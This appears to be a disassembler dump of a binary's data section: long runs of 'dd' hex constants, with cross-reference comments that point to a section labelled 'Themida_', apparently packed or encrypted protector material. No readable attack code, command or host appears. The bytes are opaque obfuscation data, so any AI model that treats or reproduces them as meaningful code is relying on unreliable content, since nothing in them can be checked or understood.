		dd 0D3D286A4h, 24896273h, 0D92D77Bh, 76BBFE94h,	0DA59DAF3h
		dd 35159E37h, 7A959537h, 684BAF58h, 0E12F89C0h,	8F74F036h
		dd 4EA33553h, 0B1780CB6h, 3BBBFF07h, 7981AF58h,	676F9ADh
		dd 0CE6AC505h, 8B41h, 69916400h, 0AF57D734h, 1E83CE6Fh
		dd 63558ECh, 0F86911CAh, 3D901D54h, 0A968E748h,	6BD0A30Ch
		dd 0F31752FFh, 0D6F73355h, 62CDAF57h, 45E34C36h, 7915BE0Ch
		dd 0E1DA9FB4h, 2D6D9FC5h, 17AF57D7h, 0E816FC3Ch, 0D7003842h
		dd 69C2AF57h, 723F60CFh, 0A7EA8B34h, 44738563h,	96603293h
		dd 179CD577h, 248B2D06h, 58FB4F02h, 66497D34h, 6C216EC6h
		dd 860CF751h, 1E810BADh, 6FF0367Fh, 0Ch, 0AF30BA4Ah, 6A40AFF7h
		dd 0A29959DFh, 8C1158FFh, 0F4397013h, 0E340092Bh, 0C06D2042h
		dd 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h, 4AD792BFh
		dd 5FD368FAh, 4890000h,	0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68241489h, 5D6Ah, 57241C89h, 852476BFh
		dd 0BDB85026h, 2151716Bh, 0E78158C7h, 2D78615Ch, 912C781h
		dd 0EF817922h, 7272DE36h, 815FFA89h, 4ECh, 24248900h, 4240483h
		dd 8B8505Bh, 1000000h, 0D68956D8h, 585E3089h, 5B2434FFh
		dd 0FF04C483h, 835A2434h, 0A3E904C4h, 19FFF92Ch, 0D7F5A187h
		dd 6B3D6A6Ch, 0B8F765DEh, 6AF50A4h, 0D38BC503h,	75FDED55h
		dd 76F67A5Eh, 56E669A4h, 1BFD49BCh, 79FD2124h, 0BEFD210Ah
		dd 1CFD211Ch, 0EFD2194h, 0E4FD2151h, 0CDFD21B3h, 0A2FD21C2h
		dd 99FD217Ah, 0C4FD2126h, 9DFD210Bh, 0F6FD211Ch, 53FD2196h
		dd 30FD2152h, 1DFD21B0h, 0D9FD21C1h, 2DFD2178h,	9DFD2124h
		dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah
		dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h
		dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A61832h, 75A619BBh
		dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh
		dd 73522F15h, 247FFFA6h, 0F0707C38h, 73522FAAh,	24BFFF6Ch
		dd 0F0707C5Dh, 73522FE6h, 2483FF35h, 0F0707CF1h, 73522ED0h
		dd 24BBFF1Eh, 0F0707C64h, 73522E5Bh, 24B7FF7Bh,	0F0707CD6h
		dd 735229E0h, 24B3FFD7h, 0F0707C80h, 735229F9h,	24AFFF42h
		dd 0F0707C4Ah, 73522976h, 24ABFFF0h, 0F0707C13h, 73522981h
		dd 249FFFA6h, 0F0707C38h, 73522960h, 24A7FF6Ch,	0F0707C5Dh
		dd 735229B3h, 24A3FF35h, 0F0707CF1h, 735229F0h,	249FFF1Eh
		dd 0F0707C64h, 73522EFCh, 248FFF7Bh, 0F0707CD6h, 73522E84h
		dd 248BFFD7h, 0F0707C80h, 73522ECCh, 2487FF42h,	0F0707C4Ah
		dd 73522E56h, 249BFFF0h, 0F0707C13h, 73522E85h,	2497FFA6h
		dd 0F0707C38h, 73522FBDh, 2493FF6Ch, 0F0767C5Dh, 73557ACCh
		dd 2446FF35h, 0F0767CF1h, 735572F2h, 2442FF1Eh,	0B69C7C64h
		dd 9D11F1B0h, 75FD7AF2h, 0BA17FB23h, 25FBD5EEh,	0FDF53FD5h
		dd 0DAACC0ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah
		dd 987C2779h, 7352284Ch, 24BCFFA0h, 0C87D7C80h,	73522BD6h
		dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 2442EF86h, 0FEBD7C13h
		dd 7A452B96h, 8AFD7A2Fh, 0DAACC502h, 3748F7CDh,	0F8FBD5B4h
		dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 0DAACC5BAh
		dd 3748F791h, 0F8FBD59Ah, 8A50FCD1h, 0BC1F2322h, 24BCF787h
		dd 2DA07C13h, 2CA32005h, 776D92ECh, 0CD4D7A97h,	8A5779C1h
		dd 0DAACC170h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h
		dd 2446EFD0h, 0DE9B7C38h, 77959208h, 360B7AE5h,	6E8872F3h
		dd 2446EF86h, 0C54D7C13h, 8AAD7954h, 0DAACC1BAh, 0F69B2091h
		dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h,	2FFD7ABEh
		dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h
		dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h,	0A916D049h
		dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h
		dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h,	0FF4DBA07h
		dd 0CE6885B5h, 2FFBD5A3h, 51FD5F1Fh, 133F71DAh,	0E94DB9F5h
		dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h,	0DEFD7AF2h
		dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h
		dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h
		dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h,	74BE8CE5h
		dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
		dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 2442EF0Dh, 0C0707CD6h
		dd 73522B3Ah, 7F518A5Dh, 0E002D02Ch, 73522B2Ch,	74E59208h
		dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
		dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh
		dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch
		dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h
		dd 2D4D7A5Eh, 0B6577925h, 24C5FF69h, 0C87D7C64h, 73522BDDh
		dd 0F8EC0FF3h, 0DAACD0FCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh
		dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh,	24C5F787h
		dd 0C87D7C13h, 73522B66h, 0F8F10F2Fh, 0DAACD012h, 0DE152ACDh
		dd 0B6FD7AE4h, 75FD7E4Ah, 0CA688579h, 0F8FBD5EDh, 0DAAB7DC3h
		dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h
		dd 7115F9BBh, 8A3E7835h, 0DAACC1CBh, 514ACE29h,	0C1FF0E96h
		dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h
		dd 0B5F179BEh, 0B6577825h, 2446EF68h, 917D7C64h, 0F539FAEAh
		dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh
		dd 7345B995h, 8AFD7ACBh, 0DAACC570h, 0EB60F7F4h, 0F8FBD528h
		dd 0CD3E39A0h, 75FD7A4Eh, 2442EFD0h, 0B57E7C38h, 8935F1CEh
		dd 2446EF1Ah, 97577C5Dh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh
		dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh,	0F611F1A7h
		dd 9D9D86BDh, 75FD7ABCh, 6217FB04h, 0FCFBD579h,	0CF7D86EAh
		dd 73522B71h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 2442E843h
		dd 0FCBD7CF1h, 0DAACB9ADh, 0F835F191h, 0DAAB9179h, 0CE6F85E3h
		dd 0FDFBD5A3h, 801F3C7Fh, 75FD6D04h, 0B67F795Eh, 35FBD57Eh
		dd 2322E01Ah, 0B67E7C64h, 22FEF3E1h, 75FD644Bh,	0B6777979h
		dd 0F8FBD5EDh, 0DAABB7ECh, 2B598929h, 75FD722Fh, 0CA6F85CBh
		dd 0F6FBD5B4h, 85897E0Ah, 72447C71h, 7DFD7ABCh,	0C3F24B5Ah
		dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h
		dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh
		dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch
		dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h
		dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h,	2FFD7A2Fh
		dd 23039016h, 0CF707C64h, 73522B22h, 0CCF50F79h, 75FD7A71h
		dd 0BC9CDE4Fh, 26FD7E9Ch, 243AE7A2h, 497D7C38h,	71887BD3h
		dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 4217FB04h
		dd 0F8FBD578h, 0DAACBD25h, 7D80F1CDh, 75FD725Ch, 145989F2h
		dd 75F9B8B0h, 0B240F7DCh, 46FBD50Fh, 75F5C3EFh,	0DF0E7A97h
		dd 0F89DB9AAh, 0DAACBD58h, 74C2FBF4h, 0FC7B78h,	7182FBB0h
		dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 0B240F7ABh, 0CDFBD5B4h
		dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh,	0A178F7EFh
		dd 8AFBD5C6h, 0E9CA8BD0h, 2Ah, 2404C7h,	0E8000000h, 0
		dd 0B7ED815Dh, 8B06AF57h, 89042444h, 0A830BD85h, 0B806h
		dd 8D8D0000h, 6A84FAFh,	54B8E1FFh, 0FE000067h, 0A5157CAh
		dd 4ED9D4A8h, 0A51928Ah, 0EAD5ABA8h, 0A566A75h,	4EDED2A8h
		dd 0AE5DBA8Ah, 4EDE8F57h, 0A575A8Ah, 0EAD5ABA8h, 0A572D75h
		dd 4EDFFDA8h, 0A57AF8Ah, 4EDC7FA8h, 0A54218Ah, 0EAD5ABA8h
		dd 0D42F2575h, 13850DADh, 67EC003h, 90A75207h, 570D1CF9h
		dd 42CAD121h, 0D42F4325h, 13850D62h, 646C003h, 90A75207h
		dd 570D1FA8h, 42C6D121h, 0D42F4325h, 13850ED1h,	652C003h
		dd 90A75207h, 570D1F44h, 42D2D121h, 0D42F4325h,	13850FBAh
		dd 65EC003h, 90A75207h,	570D1ED1h, 4D2ED121h, 0D42F4325h
		dd 13850F34h, 9AAC003h,	90A75207h, 570D1E57h, 4D26D121h
		dd 0D42F4325h, 138508B6h, 9B2C003h, 90A75207h, 570D19DDh
		dd 4D3ED121h, 0B8C34325h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 0AAC0D5F2h, 96A4EAD2h, 152AA8EDh,	2429458Ah
		dd 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh,	0EAD5BA41h
		dd 0AE63CE75h, 0BD22893Ah, 5342848Ch, 0EA2211ABh, 245D55FFh
		dd 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h
		dd 0BFEA6603h, 0DB2FEE27h, 1385064Dh, 1129475h,	0F0A0D902h
		dd 0AEA4EAD8h, 51A1EC79h, 0DC0941AEh, 0BA78B122h, 3773BA8Ch
		dd 732ADF10h, 0B428C821h, 0EA2CFBFAh, 152BFD5Bh, 9881508Ch
		dd 0FEF0A000h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 6AC0D5F2h
		dd 0DAA4EAD3h, 68A15CDDh, 0ADE78286h, 152A54A8h, 0E430BACCh
		dd 9E2CFCA8h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 0F0A0D9F9h
		dd 0AEA4EAD8h, 949A0D79h, 551A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h
		dd 0BA2458Ah, 4CFCBE29h, 24294325h, 1957DFA0h, 515E004Dh
		dd 532A54A8h, 5117D775h, 0CDA15200h, 0FC69CE19h, 0A5B9979Bh
		dd 0FA31EFE2h, 0F0A0D9F9h, 0AEA4EAD8h, 949A0D79h, 651A2320h
		dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah
		dd 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h
		dd 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh,	51A24586h
		dd 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h
		dd 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h,	96AE3801h
		dd 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h
		dd 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h,	0D453B28Ah
		dd 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh,	19577F03h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h
		dd 0DC088600h, 0BA78B122h, 0E173BA8Ch, 9FA7FEF8h, 570D176Fh
		dd 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h,	402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah
		dd 152A54AFh, 597FD775h, 45265200h, 0B428C820h,	0EA2CFBFAh
		dd 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch
		dd 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h,	570A453Fh
		dd 17868C23h, 0DB2FEF49h, 1385064Dh, 0E9C49475h, 0BE4CBD28h
		dd 7A088600h, 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah
		dd 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h,	0EA80F8A8h
		dd 0F9A2F018h, 0B9E2DFAEh, 0DC088558h, 0BA78B132h, 3771BA8Ch
		dd 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh
		dd 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh
		dd 0BF8654A8h, 5117D775h, 0DDA15200h, 0FB637726h, 47CFCE25h
		dd 825D4325h, 0E4AAECCEh, 9028EEECh, 19577F02h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 732A54A8h, 376B7732h, 0F0B0D903h,	0AEA4EAD8h
		dd 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h
		dd 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh,	0ADE78286h
		dd 152A54A8h, 0B824FDECh, 8FA7FFCEh, 570D176Fh,	0A09A8757h
		dd 0FB0E0320h, 47CFCE25h, 825D4325h, 0D8ACECCEh, 2C89EEECh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 0B2C0D5F2h, 96A4EAD6h, 152AA8EDh,	2429458Ah
		dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch
		dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah
		dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h
		dd 59D7BA86h, 42F6CE25h, 0DCF14325h, 0BA72E732h, 0D871BA8Ch
		dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0BD38C882h, 462CFBFFh
		dd 911DF07h, 0C6D55207h, 0B85E0003h, 152A5492h,	0AEAE3075h
		dd 8FA75CDDh, 570D1272h, 0A6B0D9FBh, 0AEA4EAD2h, 0E96FDD7Bh
		dd 51A25863h, 195FABA8h, 0DCAA3075h, 0BA725032h, 0CB2F168Ch
		dd 13850C1Bh, 142B9675h, 152ABD54h, 0DAC3458Ah,	0D7E3A8EDh
		dd 44BA4582h, 8D000030h, 0AF5E038Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FCCDAB13h
		dd 8D89C38Bh, 6A805B9h,	6E9h, 3E80C300h, 0C7082152h, 0A8146985h
		dd 6F9C06h, 1DD08100h, 0C7529C1Ch, 0A80BBD85h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0F47834F2h, 0B5FFF750h, 6A8298Dh, 5B59E781h,	95FF1B23h
		dd 6A820DDh, 6CEB9CB8h,	0FF006A52h, 0A81B3195h,	0EBC08B06h
		dd 54D72D59h, 65174A73h, 0B5E1CCE6h, 8EF8CCAFh,	13872B7Bh
		dd 0AAE45CAh, 35B5472Ch, 3E269AC9h, 7F8229B8h, 5F2E4145h
		dd 61D8CA2Ch, 9E772A7Fh, 5EF71322h, 6CD62C0Bh, 178C555Bh
		dd 0C13124C7h, 5E4AC833h, 63B1D760h, 0E763490Fh, 0F9417674h
		dd 4254A8B9h, 4A08AD55h, 1FE99F9Eh, 42000000h, 2D30A7h
		dd 6 dup(0)
		dd 24E90000h, 75000005h, 0A40F9BD2h, 0D37CCA8Fh, 5AEFCB5h
		dd 359E2C69h, 46CD5914h, 0F3BEDF33h, 276A0CB7h,	551C40E3h
		dd 86CF6ED1h, 446A400h,	0B6073504h, 7152B8FEh, 0B1098DDh
		dd 0F1155CFFh, 0AC266F0Eh, 7C4C1F0Eh, 2E9D1B2Eh, 0D99D475h
		dd 0B0FB9E7h, 0F9AF58BFh, 3655DA5Eh, 0D271327Fh, 0E7C8169Bh
		dd 0FFA00841h, 0B3FE9F52h, 0A7CC55DAh, 41E4BDE2h, 5BFAAB08h
		dd 359C8D12h, 15981798h, 55F8FFA0h, 7258E1Ch, 1137984Eh
		dd 0C96AD058h, 0E4BDE2ABh, 5FA20F42h, 0E3AD76h,	0B1F89B5Eh
		dd 0D6425BD8h, 24622B49h, 7919D87Bh, 14D65B34h,	0AF58BF11h
		dd 0E9B37C7Bh, 0BF013943h, 68C3AF58h, 3E7854C0h, 589F12DFh
		dd 0A0000000h, 0FB9D5CFFh, 9254D9B2h, 0AF57D794h, 2230F1E6h
		dd 12DFD636h, 1D1h, 52FF6A00h, 735C8A17h, 82B9CD5h, 6DCBDC41h
		dd 7109ADC2h, 0AFAEE14Bh, 56CF544Dh, 66497D38h,	0B92A8EC7h
		dd 8DAF10DAh, 0EA4E5FC4h, 84A9B071h, 3DBEFA0Ch,	0AB84AF58h
		dd 0A8CB74B2h, 0BA7EA5E1h, 2E733A59h, 53F4BBFDh, 1F33F296h
		dd 0EBC4D55Ah, 5FF4ADF2h, 6C0C951Ah, 727F825h, 0F229E54Ah
		dd 0F65FA231h, 83C5632Dh, 0AF57D787h, 0D946D27Dh, 4BB1F5B8h
		dd 9E9DE001h, 892F7490h, 0E14E0726h, 69DDF05h, 0ABF4743Ah
		dd 413F7B83h, 0C364AF58h, 45D37C8Eh, 0AAF7BEDAh, 0B6C46DC6h
		dd 12DFBE2Ah, 0A42Dh, 5EFFF600h, 6AB7FA9Bh, 0FDFDB931h
		dd 0F36D647Dh, 6C0C951Ah, 63C08DADh, 53CC514Ah,	6B347930h
		dd 256809C8h, 69B6AFF8h, 9571E5D1h, 3D7096E1h, 0C568E748h
		dd 0A7C8CF50h, 52F35CEAh, 5770A8D2h, 1033AF58h,	3C3D459h
		dd 31F23F28h, 75DB581Dh, 14B159Eh, 0BC4D2F0Dh, 1DAF5B8Fh
		dd 0AF585E1Dh, 48EC4CE7h, 12DF53ACh, 6BABh, 30BA7C00h
		dd 0FF7C8AFEh, 951A9E60h, 0B81C31F4h, 48229F34h, 0B1FED743h
		dd 280148F0h, 0DB6D8B3Fh, 0AF58A9DFh, 0BD2E8AA5h, 0A40940E4h
		dd 0F169F14h, 0C48DAB6Eh, 0D1554E5Fh, 0EA1CBAEAh, 0AF57D6AEh
		dd 2B4ABB94h, 0C4693662h, 0FF246909h, 0F268B5AEh, 0D6F63254h
		dd 63CCAF57h, 0D6F43335h, 5146AF57h, 0D6D6C2D0h, 13112DFh
		dd 0A000000h, 753859BAh, 0F6B9FF28h, 0BCF59352h, 0E04D2677h
		dd 6E981C3Fh, 0AF57D72Ah, 0D9463F18h, 0A8F4BD16h, 0D6C0F802h
		dd 0A982AF57h, 0B1F8A00Fh, 0D962D275h, 0E4409B2Dh, 2902B5FFh
		dd 3D7012FDh, 7C9B46F0h, 0F1C462DBh, 72339018h,	0A30C9AD3h
		dd 0E264C980h, 0B60029A4h, 561A9B10h, 1187CE6Dh, 60A6EF8Eh
		dd 0EE570FAh, 0EC5C4D95h, 940E34Ch, 9958FBA4h, 3E6FB4F9h
		dd 0FC59D845h, 40092C33h, 6C6652FAh, 28811477h,	9A000001h
		dd 0E986B5E7h, 514A0F24h, 0C4E2DBCCh, 73F82h, 852A05B6h
		dd 8A30791Ch, 6DEDA6Ch,	8BA4B600h, 13B9A72Dh, 6B1E9h, 70B893B6h
		dd 58C58CAFh, 40EDA4C7h, 0A9F6B3DFh, 921F5AF8h,	0FE3D7011h
		dd 0AA15A40Dh, 0FA99A001h, 87AC17B3h, 0EC4C5DC2h, 2852F866h
		dd 0B60006F0h, 7B3F79D2h, 1477E68Fh, 476Eh, 0B6E7B100h
		dd 4DADDF0Bh, 372F57D7h, 5357971Ch, 452F57D7h, 0F52645EEh
		dd 0D4769C4Ah, 2F57D6D4h, 0C91385AEh, 521F40A3h, 0D6E800C6h
		dd 50FEAF57h, 57D6F236h, 3167D0AFh, 1D86240Fh, 0BCED327Bh
		dd 7C0D967Ch, 28000000h, 0D80EB5E7h, 0B63251B2h, 57D71414h
		dd 6C45EEAFh, 0A633ACCh, 0F305B600h, 2FB816BAh,	6F264697h
		dd 0F2365076h, 0D0B60055h, 240F3167h, 4E0726FFh, 7D3457F8h
		dd 0AAC92A30h, 72B3B5E3h, 0DEB60057h, 26454CD5h, 0CC60DB6Fh
		dd 53295377h, 31BCAFB5h, 0B579B1CBh, 0E04BBCAFh, 5AF9AAF7h
		dd 73B0F99Bh, 0E0A5C93Ah, 2C716A43h, 1F802Dh, 0B7F29FACh
		dd 0FC9E28DEh, 0C6C35F13h, 0E7F2D96Dh, 0AED80EB5h, 0B60735CCh
		dd 86699DB6h, 377220E5h, 50D8B1EAh, 0BFC977F3h,	0B607367Bh
		dd 0E54AEE49h, 18BB0F46h, 0BDFFDD75h, 0E03507Fh, 12EC0B4Dh
		dd 0D9B2B423h, 0FD079254h, 3DAEE1A6h, 4ACE6D74h, 0A6FCF830h
		dd 8861CAE1h, 0BBF29132h, 4C81AD76h, 0C45E829h,	2C9D8E13h
		dd 0CBDC4108h, 218A4DD2h, 5EDA7980h, 0A6FCEC2Ch, 847DD6E1h
		dd 3FFE9D06h, 0D1CA5712h, 14CABBF8h, 0ED000000h, 0AEEA1CBAh
		dd 94AF57D6h, 47FD7DBBh, 2C71385Ch, 0FF76BDFBh,	138C1158h
		dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
		dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 815E5456h, 4C6h
		dd 4EE8300h, 5C243487h,	171D68h, 240C8900h, 62C568h, 242C8900h
		dd 7DEEBD55h, 814D0AECh, 0F52109F5h, 6EF58132h,	553EB602h
		dd 8B545D59h, 0C483242Ch, 638F6804h, 14890000h,	8BA24h
		dd 0EA010000h, 0FF5A0A89h, 835D2434h, 34FF04C4h, 0C4815924h
		dd 4, 0F91A15E9h, 0B843A8FFh, 6AF6347h,	0E0FFC503h, 5BF33078h
		dd 1CA07EDFh, 38333244h, 79B558DDh, 2A22E353h, 51F36331h
		dd 23E7A56h, 5BF3B3C8h,	24B5A637h, 106E3947h, 43FDF856h
		dd 15656D16h, 227A13A8h, 6322FACBh, 2F306BCh, 217112FFh
		dd 52BE3AECh, 740CE19Ch, 6860F77Ah, 4B431077h, 7CFDD0EEh
		dd 31E480C3h, 46B65C7h,	2D752E00h, 5C54FAC3h, 0F169331h
		dd 7F7A0A26h, 7AADB05Bh, 5E491D77h, 3E4AD7E9h, 0BF0ADF9h
		dd 3AAB55D1h, 0A2E9h, 0EDA4C300h, 1C59F659h, 4A03258Eh
		dd 7A3F53FCh, 0AFE2832Ch, 35DD9C1Bh, 62CD5914h,	96398DC0h
		dd 0C86BBFF6h, 0CE5EECA5h, 3AAEEA1Ch, 5694B607h, 0EDA4C728h
		dd 53FF604Bh, 0D8B1FC9Eh, 57FBA45Bh, 31729412h,	37AF57D7h
		dd 0D73B7F89h, 0CF09AF57h, 5C583A1Ah, 9602FB16h, 9A4E5450h
		dd 8ACE16AFh, 6A8CAFDCh, 19B01E6Dh, 3, 0FFCBB03Ch, 138C1158h
		dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
		dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 0AF643C68h, 18E8E906h
		dd 0C122FFF9h, 0EB9FF0BEh, 16h,	4 dup(0)
		dd 0FC010100h, 0AF000003h, 0F5958B06h, 6606A808h, 905EBABBh
		dd 0D4AABA60h, 6651514Dh, 5F27AFBAh, 0FBB15061h, 0DBD8B90h
		dd 6A06A80Fh, 6840F00h,	81000000h, 88445ECFh, 6A006A3Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0EEABC356h, 19ED44EFh, 892F3DC6h,	0A80B11B5h
		dd 99BD2B06h, 8D06A831h, 0AF661C85h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 903211B2h
		dd 0CE9h, 0C6B49F00h, 0F50AA1E2h, 88CEDF62h, 6A9050E4h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 5FAB9520h, 0D2B7C6C3h, 635952Bh,	6A06A8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E5C35040h
		dd 4195FFF8h, 8106A825h, 8426A3CAh, 19953141h, 0E906A80Fh
dword_5C0000	dd 5ABh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
					; DATA XREF: Themida_:0054A1FCo
					; Themida_:0054C86Co
		dd 17h,	6AC35141h, 2B294C00h
dword_5C0024	dd 0A8336195h, 0E806h, 815D0000h, 0AF6621EDh, 50006A06h
					; DATA XREF: ___:004327ECo
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0A9BD89ACh, 8B06A82Ch, 0A829BD95h
dword_5C005C	dd 0E1B58906h, 0E806A814h, 4, 0FA0h, 0F850Fh, 52500000h
					; DATA XREF: ___:off_432940o
		dd 800Fh, 310F0000h, 5AFB8B66h,	448B5058h, 0A7B10424h
		dd 0BF66008Bh, 44891640h, 5E90424h, 0D000000h, 0F3771587h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0B99D8B6Eh, 0FF06A814h, 0A81B3195h, 0BE666006h
		dd 840FAA0Dh, 6, 62D9D8Bh, 8D6106A8h, 0AF64E0B5h, 29BD8906h
		dd 0C706A80Fh, 67655206h, 51006A6Dh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 47EC78FCh
		dd 0B3A19DF5h, 158D8957h, 5B06A801h, 0B880Fh, 6E90000h
		dd 0D3000000h, 4CE4FA6Ah, 446C7CDh, 6C636E6Fh, 846C7F8h
		dd 737361h, 6A5BF280h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0B8783869h, 69958B53h
		dd 8D06A82Ch, 0AF64E085h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0AAC7BDE4h
		dd 67F82BBEh, 0DE85660h, 0FB000000h, 831238B3h,	0B95B6032h
		dd 571E30AAh, 0E8B55A5Ah, 6CB65061h, 0F240489h,	0C89h
		dd 6860F00h, 8B000000h,	0A80B298Dh, 2595FF06h, 6A06A831h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0D4D2C357h, 0EFBBCA5Eh, 663CBF0Dh, 6DBBE981h
		dd 840FC00Bh, 55h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0B2C35040h, 0A76CC2FFh, 810F33EEh, 6
		dd 0D15958Bh, 21E906A8h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B28C351h
